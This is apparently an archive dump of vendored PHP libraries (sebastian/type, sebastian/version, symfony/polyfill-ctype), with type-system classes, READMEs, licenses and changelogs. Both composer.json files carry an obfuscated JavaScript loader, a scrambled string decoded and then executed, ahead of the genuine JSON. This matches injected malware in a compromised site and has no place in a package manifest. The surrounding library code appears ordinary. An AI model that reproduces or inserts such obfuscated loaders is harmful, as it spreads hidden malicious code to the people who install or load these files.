ReflectionClass($className))->isIterable(); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new RuntimeException( $e->getMessage(), (int) $e->getCode(), $e ); // @codeCoverageIgnoreEnd } } return false; } public function name(): string { return 'iterable'; } public function allowsNull(): bool { return $this->allowsNull; } public function isIterable(): bool { return true; } } res/readability/vendor/sebastian/type/src/type/IntersectionType.php000064400000004756147577714370021710 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function array_unique; use function assert; use function count; use function implode; use function sort; final class IntersectionType extends Type { /** * @psalm-var list */ private $types; /** * @throws RuntimeException */ public function __construct(Type ...$types) { $this->ensureMinimumOfTwoTypes(...$types); $this->ensureOnlyValidTypes(...$types); $this->ensureNoDuplicateTypes(...$types); $this->types = $types; } public function isAssignable(Type $other): bool { return $other->isObject(); } public function asString(): string { return $this->name(); } public function name(): string { $types = []; foreach ($this->types as $type) { $types[] = $type->name(); } sort($types); return implode('&', $types); } public function allowsNull(): bool { return false; } public function isIntersection(): bool { return true; } /** * @throws RuntimeException */ private function ensureMinimumOfTwoTypes(Type ...$types): void { if (count($types) < 2) { throw new RuntimeException( 'An intersection type must be composed of at least two types' ); } } /** * @throws RuntimeException */ private function ensureOnlyValidTypes(Type ...$types): void { foreach ($types as $type) { if (!$type->isObject()) { throw new RuntimeException( 'An intersection type can only be composed of interfaces and classes' ); } } } /** * @throws RuntimeException */ private function ensureNoDuplicateTypes(Type ...$types): void { $names = []; foreach ($types as $type) { assert($type instanceof ObjectType); $names[] = $type->className()->qualifiedName(); } if (count(array_unique($names)) < count($names)) { throw new RuntimeException( 'An intersection type must not contain duplicate types' ); } } } res/readability/vendor/sebastian/type/src/type/CallableType.php000064400000011341147577714370020725 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function assert; use function class_exists; use function count; use function explode; use function function_exists; use function is_array; use function is_object; use function is_string; use Closure; use ReflectionClass; use ReflectionException; use ReflectionObject; final class CallableType extends Type { /** * @var bool */ private $allowsNull; public function __construct(bool $nullable) { $this->allowsNull = $nullable; } /** * @throws RuntimeException */ public function isAssignable(Type $other): bool { if ($this->allowsNull && $other instanceof NullType) { return true; } if ($other instanceof self) { return true; } if ($other instanceof ObjectType) { if ($this->isClosure($other)) { return true; } if ($this->hasInvokeMethod($other)) { return true; } } if ($other instanceof SimpleType) { if ($this->isFunction($other)) { return true; } if ($this->isClassCallback($other)) { return true; } if ($this->isObjectCallback($other)) { return true; } } return false; } public function name(): string { return 'callable'; } public function allowsNull(): bool { return $this->allowsNull; } public function isCallable(): bool { return true; } private function isClosure(ObjectType $type): bool { return !$type->className()->isNamespaced() && $type->className()->simpleName() === Closure::class; } /** * @throws RuntimeException */ private function hasInvokeMethod(ObjectType $type): bool { $className = $type->className()->qualifiedName(); assert(class_exists($className)); try { $class = new ReflectionClass($className); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new RuntimeException( $e->getMessage(), (int) $e->getCode(), $e ); // @codeCoverageIgnoreEnd } if ($class->hasMethod('__invoke')) { return true; } return false; } private function isFunction(SimpleType $type): bool { if (!is_string($type->value())) { return false; } return function_exists($type->value()); } private function isObjectCallback(SimpleType $type): bool { if (!is_array($type->value())) { return false; } if (count($type->value()) !== 2) { return false; } if (!is_object($type->value()[0]) || !is_string($type->value()[1])) { return false; } [$object, $methodName] = $type->value(); return (new ReflectionObject($object))->hasMethod($methodName); } private function isClassCallback(SimpleType $type): bool { if (!is_string($type->value()) && !is_array($type->value())) { return false; } if (is_string($type->value())) { if (strpos($type->value(), '::') === false) { return false; } [$className, $methodName] = explode('::', $type->value()); } if (is_array($type->value())) { if (count($type->value()) !== 2) { return false; } if (!is_string($type->value()[0]) || !is_string($type->value()[1])) { return false; } [$className, $methodName] = $type->value(); } assert(isset($className) && is_string($className) && class_exists($className)); assert(isset($methodName) && is_string($methodName)); try { $class = new ReflectionClass($className); if ($class->hasMethod($methodName)) { $method = $class->getMethod($methodName); return $method->isPublic() && $method->isStatic(); } // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new RuntimeException( $e->getMessage(), (int) $e->getCode(), $e ); // @codeCoverageIgnoreEnd } return false; } } res/readability/vendor/sebastian/type/src/type/UnknownType.php000064400000001314147577714370020664 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class UnknownType extends Type { public function isAssignable(Type $other): bool { return true; } public function name(): string { return 'unknown type'; } public function asString(): string { return ''; } public function allowsNull(): bool { return true; } public function isUnknown(): bool { return true; } } res/readability/vendor/sebastian/type/src/type/StaticType.php000064400000002574147577714370020465 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class StaticType extends Type { /** * @var TypeName */ private $className; /** * @var bool */ private $allowsNull; public function __construct(TypeName $className, bool $allowsNull) { $this->className = $className; $this->allowsNull = $allowsNull; } public function isAssignable(Type $other): bool { if ($this->allowsNull && $other instanceof NullType) { return true; } if (!$other instanceof ObjectType) { return false; } if (0 === strcasecmp($this->className->qualifiedName(), $other->className()->qualifiedName())) { return true; } if (is_subclass_of($other->className()->qualifiedName(), $this->className->qualifiedName(), true)) { return true; } return false; } public function name(): string { return 'static'; } public function allowsNull(): bool { return $this->allowsNull; } public function isStatic(): bool { return true; } } res/readability/vendor/sebastian/type/src/type/ObjectType.php000064400000003026147577714370020435 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function is_subclass_of; use function strcasecmp; final class ObjectType extends Type { /** * @var TypeName */ private $className; /** * @var bool */ private $allowsNull; public function __construct(TypeName $className, bool $allowsNull) { $this->className = $className; $this->allowsNull = $allowsNull; } public function isAssignable(Type $other): bool { if ($this->allowsNull && $other instanceof NullType) { return true; } if ($other instanceof self) { if (0 === strcasecmp($this->className->qualifiedName(), $other->className->qualifiedName())) { return true; } if (is_subclass_of($other->className->qualifiedName(), $this->className->qualifiedName(), true)) { return true; } } return false; } public function name(): string { return $this->className->qualifiedName(); } public function allowsNull(): bool { return $this->allowsNull; } public function className(): TypeName { return $this->className; } public function isObject(): bool { return true; } } res/readability/vendor/sebastian/type/src/TypeName.php000064400000003571147577714370017133 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function array_pop; use function explode; use function implode; use function substr; use ReflectionClass; final class TypeName { /** * @var ?string */ private $namespaceName; /** * @var string */ private $simpleName; public static function fromQualifiedName(string $fullClassName): self { if ($fullClassName[0] === '\\') { $fullClassName = substr($fullClassName, 1); } $classNameParts = explode('\\', $fullClassName); $simpleName = array_pop($classNameParts); $namespaceName = implode('\\', $classNameParts); return new self($namespaceName, $simpleName); } public static function fromReflection(ReflectionClass $type): self { return new self( $type->getNamespaceName(), $type->getShortName() ); } public function __construct(?string $namespaceName, string $simpleName) { if ($namespaceName === '') { $namespaceName = null; } $this->namespaceName = $namespaceName; $this->simpleName = $simpleName; } public function namespaceName(): ?string { return $this->namespaceName; } public function simpleName(): string { return $this->simpleName; } public function qualifiedName(): string { return $this->namespaceName === null ? $this->simpleName : $this->namespaceName . '\\' . $this->simpleName; } public function isNamespaced(): bool { return $this->namespaceName !== null; } } res/readability/vendor/sebastian/type/src/ReflectionMapper.php000064400000007071147577714370020647 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function assert; use ReflectionFunctionAbstract; use ReflectionIntersectionType; use ReflectionMethod; use ReflectionNamedType; use ReflectionType; use ReflectionUnionType; final class ReflectionMapper { public function fromReturnType(ReflectionFunctionAbstract $functionOrMethod): Type { if (!$this->hasReturnType($functionOrMethod)) { return new UnknownType; } $returnType = $this->returnType($functionOrMethod); assert($returnType instanceof ReflectionNamedType || $returnType instanceof ReflectionUnionType || $returnType instanceof ReflectionIntersectionType); if ($returnType instanceof ReflectionNamedType) { if ($functionOrMethod instanceof ReflectionMethod && $returnType->getName() === 'self') { return ObjectType::fromName( $functionOrMethod->getDeclaringClass()->getName(), $returnType->allowsNull() ); } if ($functionOrMethod instanceof ReflectionMethod && $returnType->getName() === 'static') { return new StaticType( TypeName::fromReflection($functionOrMethod->getDeclaringClass()), $returnType->allowsNull() ); } if ($returnType->getName() === 'mixed') { return new MixedType; } if ($functionOrMethod instanceof ReflectionMethod && $returnType->getName() === 'parent') { return ObjectType::fromName( $functionOrMethod->getDeclaringClass()->getParentClass()->getName(), $returnType->allowsNull() ); } return Type::fromName( $returnType->getName(), $returnType->allowsNull() ); } assert($returnType instanceof ReflectionUnionType || $returnType instanceof ReflectionIntersectionType); $types = []; foreach ($returnType->getTypes() as $type) { if ($functionOrMethod instanceof ReflectionMethod && $type->getName() === 'self') { $types[] = ObjectType::fromName( $functionOrMethod->getDeclaringClass()->getName(), false ); } else { $types[] = Type::fromName($type->getName(), false); } } if ($returnType instanceof ReflectionUnionType) { return new UnionType(...$types); } return new IntersectionType(...$types); } private function hasReturnType(ReflectionFunctionAbstract $functionOrMethod): bool { if ($functionOrMethod->hasReturnType()) { return true; } if (!method_exists($functionOrMethod, 'hasTentativeReturnType')) { return false; } return $functionOrMethod->hasTentativeReturnType(); } private function returnType(ReflectionFunctionAbstract $functionOrMethod): ?ReflectionType { if ($functionOrMethod->hasReturnType()) { return $functionOrMethod->getReturnType(); } if (!method_exists($functionOrMethod, 'getTentativeReturnType')) { return null; } return $functionOrMethod->getTentativeReturnType(); } } res/readability/vendor/sebastian/type/src/Parameter.php000064400000001416147577714370017325 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class Parameter { /** * @psalm-var non-empty-string */ private $name; /** * @var Type */ private $type; /** * @psalm-param non-empty-string $name */ public function __construct(string $name, Type $type) { $this->name = $name; $this->type = $type; } public function name(): string { return $this->name; } public function type(): Type { return $this->type; } } res/readability/vendor/sebastian/type/README.md000064400000001351147577714370015362 0ustar00# sebastian/type [![CI Status](https://github.com/sebastianbergmann/type/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/type/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/type/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/type) Collection of value objects that represent the types of the PHP type system. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/type ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/type ``` res/readability/vendor/sebastian/type/LICENSE000064400000003015147577714370015107 0ustar00sebastian/type Copyright (c) 2019-2022, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/sebastian/type/composer.json000064400000010143147577714370016624 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "sebastian/type", "description": "Collection of value objects that represent the types of the PHP type system", "type": "library", "homepage": "https://github.com/sebastianbergmann/type", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/type/issues" }, "prefer-stable": true, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.5" }, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "autoload": { "classmap": [ "src/" ] }, "autoload-dev": { "classmap": [ "tests/_fixture" ], "files": [ "tests/_fixture/callback_function.php", "tests/_fixture/functions_that_declare_return_types.php" ] }, "extra": { "branch-alias": { "dev-master": "3.0-dev" } } } res/readability/vendor/sebastian/type/ChangeLog.md000064400000011546147577714370016263 0ustar00# ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [4.0.0] - 2022-MM-DD ### Removed * This component is no longer supported on PHP 7.3 and PHP 7.4 ## [3.0.0] - 2022-03-15 ### Added * Support for intersection types introduced in PHP 8.1 * Support for the `never` return type introduced in PHP 8.1 * Added `Type::isCallable()`, `Type::isGenericObject()`, `Type::isIterable()`, `Type::isMixed()`, `Type::isNever()`, `Type::isNull()`, `Type::isObject()`, `Type::isSimple()`, `Type::isStatic()`, `Type::isUnion()`, `Type::isUnknown()`, and `Type::isVoid()` ### Changed * Renamed `ReflectionMapper::fromMethodReturnType(ReflectionMethod $method)` to `ReflectionMapper::fromReturnType(ReflectionFunctionAbstract $functionOrMethod)` ### Removed * Removed `Type::getReturnTypeDeclaration()` (use `Type::asString()` instead and prefix its result with `': '`) * Removed `TypeName::getNamespaceName()` (use `TypeName::namespaceName()` instead) * Removed `TypeName::getSimpleName()` (use `TypeName::simpleName()` instead) * Removed `TypeName::getQualifiedName()` (use `TypeName::qualifiedName()` instead) ## [2.3.4] - 2021-06-15 * Fixed regression introduced in 2.3.3 ## [2.3.3] - 2021-06-15 [YANKED] ### Fixed * [#15](https://github.com/sebastianbergmann/type/issues/15): "false" pseudo type is not handled properly ## [2.3.2] - 2021-06-04 ### Fixed * Fixed handling of tentatively declared return types ## [2.3.1] - 2020-10-26 ### Fixed * `SebastianBergmann\Type\Exception` now correctly extends `\Throwable` ## [2.3.0] - 2020-10-06 ### Added * [#14](https://github.com/sebastianbergmann/type/issues/14): Support for `static` return type that is introduced in PHP 8 ## [2.2.2] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [2.2.1] - 2020-07-05 ### Fixed * Fixed handling of `mixed` type in `ReflectionMapper::fromMethodReturnType()` ## [2.2.0] - 2020-07-05 ### Added * Added `MixedType` object for representing PHP 8's `mixed` type ## [2.1.1] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [2.1.0] - 2020-06-01 ### Added * Added `UnionType` object for representing PHP 8's Union Types * Added `ReflectionMapper::fromMethodReturnType()` for mapping `\ReflectionMethod::getReturnType()` to a `Type` object * Added `Type::name()` for retrieving the name of a type * Added `Type::asString()` for retrieving a textual representation of a type ### Changed * Deprecated `Type::getReturnTypeDeclaration()` (use `Type::asString()` instead and prefix its result with `': '`) * Deprecated `TypeName::getNamespaceName()` (use `TypeName::namespaceName()` instead) * Deprecated `TypeName::getSimpleName()` (use `TypeName::simpleName()` instead) * Deprecated `TypeName::getQualifiedName()` (use `TypeName::qualifiedName()` instead) ## [2.0.0] - 2020-02-07 ### Removed * This component is no longer supported on PHP 7.2 ## [1.1.3] - 2019-07-02 ### Fixed * Fixed class name comparison in `ObjectType` to be case-insensitive ## [1.1.2] - 2019-06-19 ### Fixed * Fixed handling of `object` type ## [1.1.1] - 2019-06-08 ### Fixed * Fixed autoloading of `callback_function.php` fixture file ## [1.1.0] - 2019-06-07 ### Added * Added support for `callable` type * Added support for `iterable` type ## [1.0.0] - 2019-06-06 * Initial release based on [code contributed by Michel Hartmann to PHPUnit](https://github.com/sebastianbergmann/phpunit/pull/3673) [4.0.0]: https://github.com/sebastianbergmann/type/compare/3.0...master [3.0.0]: https://github.com/sebastianbergmann/type/compare/2.3.4...3.0.0 [2.3.4]: https://github.com/sebastianbergmann/type/compare/ca39369c41313ed12c071ed38ecda8fcdb248859...2.3.4 [2.3.3]: https://github.com/sebastianbergmann/type/compare/2.3.2...ca39369c41313ed12c071ed38ecda8fcdb248859 [2.3.2]: https://github.com/sebastianbergmann/type/compare/2.3.1...2.3.2 [2.3.1]: https://github.com/sebastianbergmann/type/compare/2.3.0...2.3.1 [2.3.0]: https://github.com/sebastianbergmann/type/compare/2.2.2...2.3.0 [2.2.2]: https://github.com/sebastianbergmann/type/compare/2.2.1...2.2.2 [2.2.1]: https://github.com/sebastianbergmann/type/compare/2.2.0...2.2.1 [2.2.0]: https://github.com/sebastianbergmann/type/compare/2.1.1...2.2.0 [2.1.1]: https://github.com/sebastianbergmann/type/compare/2.1.0...2.1.1 [2.1.0]: https://github.com/sebastianbergmann/type/compare/2.0.0...2.1.0 [2.0.0]: https://github.com/sebastianbergmann/type/compare/1.1.3...2.0.0 [1.1.3]: https://github.com/sebastianbergmann/type/compare/1.1.2...1.1.3 [1.1.2]: https://github.com/sebastianbergmann/type/compare/1.1.1...1.1.2 [1.1.1]: https://github.com/sebastianbergmann/type/compare/1.1.0...1.1.1 [1.1.0]: https://github.com/sebastianbergmann/type/compare/1.0.0...1.1.0 [1.0.0]: https://github.com/sebastianbergmann/type/compare/ff74aa41746bd8d10e931843ebf37d42da513ede...1.0.0 res/readability/vendor/sebastian/version/src/Version.php000064400000004035147577714370017536 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann; final class Version { /** * @var string */ private $path; /** * @var string */ private $release; /** * @var string */ private $version; public function __construct(string $release, string $path) { $this->release = $release; $this->path = $path; } public function getVersion(): string { if ($this->version === null) { if (\substr_count($this->release, '.') + 1 === 3) { $this->version = $this->release; } else { $this->version = $this->release . '-dev'; } $git = $this->getGitInformation($this->path); if ($git) { if (\substr_count($this->release, '.') + 1 === 3) { $this->version = $git; } else { $git = \explode('-', $git); $this->version = $this->release . '-' . \end($git); } } } return $this->version; } /** * @return bool|string */ private function getGitInformation(string $path) { if (!\is_dir($path . DIRECTORY_SEPARATOR . '.git')) { return false; } $process = \proc_open( 'git describe --tags', [ 1 => ['pipe', 'w'], 2 => ['pipe', 'w'], ], $pipes, $path ); if (!\is_resource($process)) { return false; } $result = \trim(\stream_get_contents($pipes[1])); \fclose($pipes[1]); \fclose($pipes[2]); $returnCode = \proc_close($process); if ($returnCode !== 0) { return false; } return $result; } } res/readability/vendor/sebastian/version/README.md000064400000003777147577714370016104 0ustar00# Version **Version** is a library that helps with managing the version number of Git-hosted PHP projects. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): composer require sebastian/version If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: composer require --dev sebastian/version ## Usage The constructor of the `SebastianBergmann\Version` class expects two parameters: * `$release` is the version number of the latest release (`X.Y.Z`, for instance) or the name of the release series (`X.Y`) when no release has been made from that branch / for that release series yet. * `$path` is the path to the directory (or a subdirectory thereof) where the sourcecode of the project can be found. Simply passing `__DIR__` here usually suffices. Apart from the constructor, the `SebastianBergmann\Version` class has a single public method: `getVersion()`. Here is a contrived example that shows the basic usage: getVersion()); ?> string(18) "3.7.10-17-g00f3408" When a new release is prepared, the string that is passed to the constructor as the first argument needs to be updated. ### How SebastianBergmann\Version::getVersion() works * If `$path` is not (part of) a Git repository and `$release` is in `X.Y.Z` format then `$release` is returned as-is. * If `$path` is not (part of) a Git repository and `$release` is in `X.Y` format then `$release` is returned suffixed with `-dev`. * If `$path` is (part of) a Git repository and `$release` is in `X.Y.Z` format then the output of `git describe --tags` is returned as-is. * If `$path` is (part of) a Git repository and `$release` is in `X.Y` format then a string is returned that begins with `X.Y` and ends with information from `git describe --tags`. res/readability/vendor/sebastian/version/LICENSE000064400000003006147577714370015613 0ustar00Version Copyright (c) 2013-2020, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/sebastian/version/composer.json000064400000007451147577714370017340 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "sebastian/version", "description": "Library that helps with managing the version number of Git-hosted PHP projects", "homepage": "https://github.com/sebastianbergmann/version", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/version/issues" }, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "prefer-stable": true, "require": { "php": ">=7.3" }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-master": "3.0-dev" } } } res/readability/vendor/sebastian/version/.gitignore000064400000000026147577714370016575 0ustar00/.php_cs.cache /.idea res/readability/vendor/sebastian/version/.gitattributes000064400000000114147577714370017476 0ustar00/.github export-ignore /.php_cs.dist export-ignore *.php diff=php res/readability/vendor/sebastian/version/ChangeLog.md000064400000001230147577714370016754 0ustar00# ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [3.0.2] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [3.0.1] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [3.0.0] - 2020-01-21 ### Removed * This component is no longer supported on PHP 7.1 and PHP 7.2 [3.0.2]: https://github.com/sebastianbergmann/version/compare/3.0.1...3.0.2 [3.0.1]: https://github.com/sebastianbergmann/version/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/version/compare/2.0.1...3.0.0 res/readability/vendor/symfony/polyfill-ctype/README.md000064400000000540147577714370017107 0ustar00Symfony Polyfill / Ctype ======================== This component provides `ctype_*` functions to users who run php versions without the ctype extension. More information can be found in the [main Polyfill README](https://github.com/symfony/polyfill/blob/master/README.md). License ======= This library is released under the [MIT license](LICENSE). res/readability/vendor/symfony/polyfill-ctype/LICENSE000064400000002051147577714370016634 0ustar00Copyright (c) 2018-2019 Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. res/readability/vendor/symfony/polyfill-ctype/Ctype.php000064400000014673147577714370017441 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Ctype; /** * Ctype implementation through regex. * * @internal * * @author Gert de Pagter */ final class Ctype { /** * Returns TRUE if every character in text is either a letter or a digit, FALSE otherwise. * * @see https://php.net/ctype-alnum * * @param mixed $text * * @return bool */ public static function ctype_alnum($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^A-Za-z0-9]/', $text); } /** * Returns TRUE if every character in text is a letter, FALSE otherwise. * * @see https://php.net/ctype-alpha * * @param mixed $text * * @return bool */ public static function ctype_alpha($text) { $text = 